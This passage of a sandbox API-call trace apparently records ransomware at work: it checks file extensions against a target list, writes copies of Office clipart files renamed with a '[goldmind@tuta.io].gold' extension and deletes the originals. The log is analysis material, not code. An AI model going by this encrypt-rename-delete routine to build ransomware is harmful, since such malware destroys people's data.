(lpString1=".bz2", lpString2=".WMF") returned -1 [0048.490] lstrlenW (lpString=".7z") returned 3 [0048.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0048.490] lstrlenW (lpString=".dbf") returned 4 [0048.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0048.490] lstrlenW (lpString=".1cd") returned 4 [0048.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0048.490] lstrlenW (lpString=".jpg") returned 4 [0048.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.490] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.490] lstrlenW (lpString="AN01084_.WMF") returned 12 [0048.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.490] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1832) returned 1 [0048.491] CloseHandle (hObject=0x20c) returned 1 [0048.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0048.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.491] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.491] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0049.391] GetLastError () returned 0x0 [0049.397] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x728, lpOverlapped=0x0) returned 1 [0049.413] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x730, lpOverlapped=0x0) returned 1 [0049.413] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.413] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.413] SetEndOfFile (hFile=0x1e8) returned 1 [0049.413] CloseHandle (hObject=0x1e8) returned 1 [0049.414] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.414] SetEndOfFile (hFile=0x20c) returned 1 [0049.414] CloseHandle (hObject=0x20c) returned 1 [0049.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0049.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0049.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0049.415] lstrlenW (lpString=".doc") returned 4 [0049.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.415] lstrlenW (lpString=".docx") returned 5 [0049.415] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.415] lstrlenW (lpString=".pdf") returned 4 [0049.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.415] lstrlenW (lpString=".xls") returned 4 [0049.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.415] lstrlenW (lpString=".xlsx") returned 5 [0049.415] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.415] lstrlenW (lpString=".ppt") returned 4 [0049.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0049.415] lstrlenW (lpString=".zip") returned 4 [0049.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.415] lstrlenW (lpString=".rar") returned 4 [0049.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.415] lstrlenW (lpString=".bz2") returned 4 [0049.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.415] lstrlenW (lpString=".7z") returned 3 [0049.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0049.415] lstrlenW (lpString=".dbf") returned 4 [0049.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0049.415] lstrlenW (lpString=".1cd") returned 4 [0049.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0049.415] lstrlenW (lpString=".jpg") returned 4 [0049.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0049.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0049.415] lstrlenW (lpString=".doc") returned 4 [0049.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.415] lstrlenW (lpString=".docx") returned 5 [0049.415] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.415] lstrlenW (lpString=".pdf") returned 4 [0049.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.415] lstrlenW (lpString=".xls") returned 4 [0049.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.415] lstrlenW (lpString=".xlsx") returned 5 [0049.415] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.415] lstrlenW (lpString=".ppt") returned 4 [0049.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0049.415] lstrlenW (lpString=".zip") returned 4 [0049.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.415] lstrlenW (lpString=".rar") returned 4 [0049.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.415] lstrlenW (lpString=".bz2") returned 4 [0049.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.416] lstrlenW (lpString=".7z") returned 3 [0049.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0049.416] lstrlenW (lpString=".dbf") returned 4 [0049.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0049.416] lstrlenW (lpString=".1cd") returned 4 [0049.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0049.416] lstrlenW (lpString=".jpg") returned 4 [0049.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.416] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.416] lstrlenW (lpString="AN04206_.WMF") returned 12 [0049.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.417] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=7668) returned 1 [0049.417] CloseHandle (hObject=0x220) returned 1 [0049.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0049.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.417] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.417] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.417] GetLastError () returned 0x0 [0049.417] ReadFile (in: hFile=0x220, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x1df4, lpOverlapped=0x0) returned 1 [0049.419] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1e00, lpOverlapped=0x0) returned 1 [0049.419] ReadFile (in: hFile=0x220, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.419] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.419] SetEndOfFile (hFile=0x20c) returned 1 [0049.419] CloseHandle (hObject=0x20c) returned 1 [0049.420] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.420] SetEndOfFile (hFile=0x220) returned 1 [0049.420] CloseHandle (hObject=0x220) returned 1 [0049.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0049.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0049.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0049.421] lstrlenW (lpString=".doc") returned 4 [0049.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.421] lstrlenW (lpString=".docx") returned 5 [0049.421] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.421] lstrlenW (lpString=".pdf") returned 4 [0049.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.421] lstrlenW (lpString=".xls") returned 4 [0049.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.421] lstrlenW (lpString=".xlsx") returned 5 [0049.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.421] lstrlenW (lpString=".ppt") returned 4 [0049.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0049.421] lstrlenW (lpString=".zip") returned 4 [0049.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.421] lstrlenW (lpString=".rar") returned 4 [0049.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.421] lstrlenW (lpString=".bz2") returned 4 [0049.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.421] lstrlenW (lpString=".7z") returned 3 [0049.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0049.421] lstrlenW (lpString=".dbf") returned 4 [0049.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0049.421] lstrlenW (lpString=".1cd") returned 4 [0049.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0049.421] lstrlenW (lpString=".jpg") returned 4 [0049.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0049.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0049.421] lstrlenW (lpString=".doc") returned 4 [0049.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.421] lstrlenW (lpString=".docx") returned 5 [0049.421] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.421] lstrlenW (lpString=".pdf") returned 4 [0049.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.421] lstrlenW (lpString=".xls") returned 4 [0049.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.422] lstrlenW (lpString=".xlsx") returned 5 [0049.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.422] lstrlenW (lpString=".ppt") returned 4 [0049.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0049.422] lstrlenW (lpString=".zip") returned 4 [0049.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.422] lstrlenW (lpString=".rar") returned 4 [0049.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.422] lstrlenW (lpString=".bz2") returned 4 [0049.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.422] lstrlenW (lpString=".7z") returned 3 [0049.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0049.422] lstrlenW (lpString=".dbf") returned 4 [0049.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0049.422] lstrlenW (lpString=".1cd") returned 4 [0049.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0049.422] lstrlenW (lpString=".jpg") returned 4 [0049.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.422] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.422] lstrlenW (lpString="AN04225_.WMF") returned 12 [0049.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.422] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=8492) returned 1 [0049.422] CloseHandle (hObject=0x220) returned 1 [0049.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0049.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.423] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.423] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.423] GetLastError () returned 0x0 [0049.423] ReadFile (in: hFile=0x220, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x212c, lpOverlapped=0x0) returned 1 [0049.424] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x2130, lpOverlapped=0x0) returned 1 [0049.425] ReadFile (in: hFile=0x220, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.425] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.425] SetEndOfFile (hFile=0x20c) returned 1 [0049.425] CloseHandle (hObject=0x20c) returned 1 [0049.425] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.425] SetEndOfFile (hFile=0x220) returned 1 [0049.426] CloseHandle (hObject=0x220) returned 1 [0049.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0049.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0049.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0049.427] lstrlenW (lpString=".doc") returned 4 [0049.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.427] lstrlenW (lpString=".docx") returned 5 [0049.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.427] lstrlenW (lpString=".pdf") returned 4 [0049.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.427] lstrlenW (lpString=".xls") returned 4 [0049.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.427] lstrlenW (lpString=".xlsx") returned 5 [0049.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.427] lstrlenW (lpString=".ppt") returned 4 [0049.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0049.427] lstrlenW (lpString=".zip") returned 4 [0049.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.427] lstrlenW (lpString=".rar") returned 4 [0049.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.427] lstrlenW (lpString=".bz2") returned 4 [0049.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.427] lstrlenW (lpString=".7z") returned 3 [0049.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0049.427] lstrlenW (lpString=".dbf") returned 4 [0049.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0049.427] lstrlenW (lpString=".1cd") returned 4 [0049.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0049.427] lstrlenW (lpString=".jpg") returned 4 [0049.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0049.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0049.427] lstrlenW (lpString=".doc") returned 4 [0049.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.427] lstrlenW (lpString=".docx") returned 5 [0049.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.427] lstrlenW (lpString=".pdf") returned 4 [0049.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.427] lstrlenW (lpString=".xls") returned 4 [0049.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.427] lstrlenW (lpString=".xlsx") returned 5 [0049.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.428] lstrlenW (lpString=".ppt") returned 4 [0049.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0049.428] lstrlenW (lpString=".zip") returned 4 [0049.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.428] lstrlenW (lpString=".rar") returned 4 [0049.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.428] lstrlenW (lpString=".bz2") returned 4 [0049.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.428] lstrlenW (lpString=".7z") returned 3 [0049.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0049.428] lstrlenW (lpString=".dbf") returned 4 [0049.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0049.428] lstrlenW (lpString=".1cd") returned 4 [0049.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0049.428] lstrlenW (lpString=".jpg") returned 4 [0049.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.428] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.428] 